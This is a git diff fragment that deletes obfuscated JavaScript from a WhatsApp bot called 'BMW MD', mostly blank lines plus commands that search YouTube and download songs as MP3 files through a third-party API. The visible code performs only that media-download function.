-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-**/
-function _0x18e4(){const _0x15049e=['wich\x20song\x20do\x20you\x20want.','no\x20video\x20found.','pipe','_\x0a\x0a\x0a_*©Ibrahim\x20Adams*_\x0a\x0a','150LhYujY','timestamp','toFixed','stream','2433333reCvoU','join','title','327090aOlMls','search','680214miTVcN','thumbnail','url','Bmw\x20is\x20loading▰▰▰▰▱▱▱','../Ibrahim/adams','search\x20for\x20a\x20youtube\x20song','1667254OvUTuK','sendMessage','\x0aTime\x20:\x20','*BMW\x20MD\x20YOUTUBE\x20SEARCH*\x0a\x0aBmw\x20md\x20is\x20downloading\x20:\x20','song2','16oaLpCO','createWriteStream','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms','Search','yt-search','Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:','toString','1364944QfwAkJ','(((.+)+)+)+$','Téléchargement\x20terminé\x20avec\x20succès\x20!','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x20','apply','content-length','videos','audio.mp3','data','get','Taille\x20totale\x20du\x20fichier:','1VUadyO','length','20JIbNhz','constructor','headers','audio/mp4','finish','771276LDwsHS','key','\x0aYoutube\x20link\x20:\x20','error','axios','4815837diNDGi'];_0x18e4=function(){return _0x15049e;};return _0x18e4();}function _0xdb7f(_0x2ffe3b,_0x3a7f0b){const _0x18e4cf=_0x18e4();return _0xdb7f=function(_0xdb7fd3,_0x2c8c98){_0xdb7fd3=_0xdb7fd3-0x1bd;let _0x100fed=_0x18e4cf[_0xdb7fd3];return _0x100fed;},_0xdb7f(_0x2ffe3b,_0x3a7f0b);}const _0x3b2c97=_0xdb7f;(function(_0x29038b,_0x529222){const _0x188e89=_0xdb7f,_0x12bb86=_0x29038b();while(!![]){try{const _0x9693aa=-parseInt(_0x188e89(0x1ed))/0x1*(parseInt(_0x188e89(0x1d6))/0x2)+-parseInt(_0x188e89(0x1ce))/0x3+-parseInt(_0x188e89(0x1e2))/0x4*(-parseInt(_0x188e89(0x1ef))/0x5)+parseInt(_0x188e89(0x1d0))/0x6+-parseInt(_0x188e89(0x1cb))/0x7*(-parseInt(_0x188e89(0x1db))/0x8)+parseInt(_0x188e89(0x1c2))/0x9+-parseInt(_0x188e89(0x1c7))/0xa*(parseInt(_0x188e89(0x1bd))/0xb);if(_0x9693aa===_0x529222)break;else _0x12bb86['push'](_0x12bb86['shift']());}catch(_0x8dcc9){_0x12bb86['push'](_0x12bb86['shift']());}}}(_0x18e4,0xae607));const a54_0x3f73c3=(function(){let _0xc2d2c6=!![];return function(_0xf8c6dc,_0x31485e){const _0x434b80=_0xc2d2c6?function(){const _0x4f4c49=_0xdb7f;if(_0x31485e){const _0x354ce7=_0x31485e[_0x4f4c49(0x1e6)](_0xf8c6dc,arguments);return _0x31485e=null,_0x354ce7;}}:function(){};return _0xc2d2c6=![],_0x434b80;};}()),a54_0x3bdf75=a54_0x3f73c3(this,function(){const _0x2809a3=_0xdb7f;return a54_0x3bdf75[_0x2809a3(0x1e1)]()[_0x2809a3(0x1cf)]('(((.+)+)+)+$')[_0x2809a3(0x1e1)]()[_0x2809a3(0x1f0)](a54_0x3bdf75)[_0x2809a3(0x1cf)](_0x2809a3(0x1e3));});a54_0x3bdf75();const {adams}=require(_0x3b2c97(0x1d4)),yts=require(_0x3b2c97(0x1df)),fs=require('fs'),axios=require(_0x3b2c97(0x1c1));adams({'nomCom':'play2','categorie':'Search','reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x21987e,_0x4d43e6,_0x580980)=>{const _0x1106a9=_0x3b2c97,{ms:_0x48cf3b,repondre:_0x2bb9d7,arg:_0x4b57b8}=_0x580980;if(!_0x4b57b8[0x0]){_0x2bb9d7(_0x1106a9(0x1c3));return;}try{let _0x2da149=_0x4b57b8[_0x1106a9(0x1cc)]('\x20');const _0x1b7125=await yts(_0x2da149),_0x56d6ff=_0x1b7125[_0x1106a9(0x1e8)];if(_0x56d6ff&&_0x56d6ff[_0x1106a9(0x1ee)]>0x0&&_0x56d6ff[0x0]){const _0x23a669=_0x56d6ff[0x0]['url'];let _0xf4600b={'image':{'url':_0x56d6ff[0x0][_0x1106a9(0x1d1)]},'caption':_0x1106a9(0x1d9)+_0x56d6ff[0x0][_0x1106a9(0x1cd)]+'\x0aTime\x20:\x20'+_0x56d6ff[0x0]['timestamp']+_0x1106a9(0x1bf)+_0x56d6ff[0x0][_0x1106a9(0x1d2)]+_0x1106a9(0x1c6)};_0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,_0xf4600b,{'quoted':_0x48cf3b});const _0x46db85=await axios['get']('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x23a669,{'responseType':_0x1106a9(0x1ca)}),_0x5eda30=_0x46db85['headers']['content-length'];console['log'](_0x1106a9(0x1ec),_0x5eda30);let _0x5bdc5d=await _0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,{'text':'Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms'}),_0x30ed99=0x0;const _0x3a1481=fs['createWriteStream']('audio.mp3');_0x46db85[_0x1106a9(0x1ea)]['on'](_0x1106a9(0x1ea),_0x3303b9=>{const _0x3106b5=_0x1106a9;_0x30ed99+=_0x3303b9['length'];const _0x406d81=_0x30ed99/_0x5eda30*0x64;_0x4d43e6[_0x3106b5(0x1d7)](_0x21987e,{'text':_0x3106b5(0x1e5)+_0x406d81[_0x3106b5(0x1c9)](0x2)+'ms','edit':_0x5bdc5d[_0x3106b5(0x1be)]});}),_0x46db85['data'][_0x1106a9(0x1c5)](_0x3a1481),_0x3a1481['on'](_0x1106a9(0x1f3),()=>{const _0x220a5b=_0x1106a9;console['log'](_0x220a5b(0x1e4)),_0x4d43e6[_0x220a5b(0x1d7)](_0x21987e,{'audio':{'url':_0x220a5b(0x1e9)},'mimetype':'audio/mp4'},{'quoted':_0x48cf3b,'ptt':![]});}),_0x3a1481['on']('error',_0x3074d8=>{const _0x5f17b6=_0x1106a9;console[_0x5f17b6(0x1c0)](_0x5f17b6(0x1e0),_0x3074d8),_0x2bb9d7('✅');});}else _0x2bb9d7('no\x20video\x20found.');}catch(_0x193762){console[_0x1106a9(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x193762),_0x2bb9d7('✅');}}),adams({'nomCom':_0x3b2c97(0x1da),'categorie':_0x3b2c97(0x1de),'reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x1087a8,_0x212b9f,_0x138cee)=>{const _0xcb7fcf=_0x3b2c97,{ms:_0x57e724,repondre:_0x3c768e,arg:_0xd681b7}=_0x138cee;if(!_0xd681b7[0x0]){_0x3c768e(_0xcb7fcf(0x1c3));return;}try{let _0x4ecef4=_0xd681b7[_0xcb7fcf(0x1cc)]('\x20');const _0x17be29=await yts(_0x4ecef4),_0x50daf0=_0x17be29[_0xcb7fcf(0x1e8)];if(_0x50daf0&&_0x50daf0['length']>0x0&&_0x50daf0[0x0]){const _0x300536=_0x50daf0[0x0]['url'];let _0x2f5620={'image':{'url':_0x50daf0[0x0][_0xcb7fcf(0x1d1)]},'caption':_0xcb7fcf(0x1d9)+_0x50daf0[0x0][_0xcb7fcf(0x1cd)]+_0xcb7fcf(0x1d8)+_0x50daf0[0x0][_0xcb7fcf(0x1c8)]+'\x0aYoutube\x20link\x20:\x20'+_0x50daf0[0x0][_0xcb7fcf(0x1d2)]+_0xcb7fcf(0x1c6)};_0x212b9f[_0xcb7fcf(0x1d7)](_0x1087a8,_0x2f5620,{'quoted':_0x57e724});const _0x5c090b=await axios[_0xcb7fcf(0x1eb)]('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x300536,{'responseType':_0xcb7fcf(0x1ca)}),_0x44491e=_0x5c090b[_0xcb7fcf(0x1f1)][_0xcb7fcf(0x1e7)];console['log'](_0xcb7fcf(0x1ec),_0x44491e);let _0x505ab1=await _0x212b9f['sendMessage'](_0x1087a8,{'text':_0xcb7fcf(0x1dd)}),_0x3c0c95=0x0;const _0x501237=fs[_0xcb7fcf(0x1dc)](_0xcb7fcf(0x1e9));_0x5c090b[_0xcb7fcf(0x1ea)]['on'](_0xcb7fcf(0x1ea),_0x41234b=>{const _0x94fd6d=_0xcb7fcf;_0x3c0c95+=_0x41234b['length'];const _0x1b9a79=_0x3c0c95/_0x44491e*0x64;_0x212b9f[_0x94fd6d(0x1d7)](_0x1087a8,{'text':_0x94fd6d(0x1d3)+_0x1b9a79[_0x94fd6d(0x1c9)](0x2)+'ms','edit':_0x505ab1[_0x94fd6d(0x1be)]});}),_0x5c090b[_0xcb7fcf(0x1ea)]['pipe'](_0x501237),_0x501237['on']('finish',()=>{const _0x213c52=_0xcb7fcf;console['log'](_0x213c52(0x1e4)),_0x212b9f['sendMessage'](_0x1087a8,{'audio':{'url':_0x213c52(0x1e9)},'mimetype':_0x213c52(0x1f2)},{'quoted':_0x57e724,'ptt':![]});}),_0x501237['on'](_0xcb7fcf(0x1c0),_0x520e37=>{const _0x5f4919=_0xcb7fcf;console[_0x5f4919(0x1c0)]('Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:',_0x520e37),_0x3c768e('✅');});}else _0x3c768e(_0xcb7fcf(0x1c4));}catch(_0x155709){console[_0xcb7fcf(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x155709),_0x3c768e('✅');}});
diff --git a/scs/bmwae.js b/scs/bmwae.js
deleted file mode 100644
index 8b7c9d2..0000000
--- a/scs/bmwae.js
+++ /dev/null
@@ -1,15451 +0,0 @@
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
- **/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
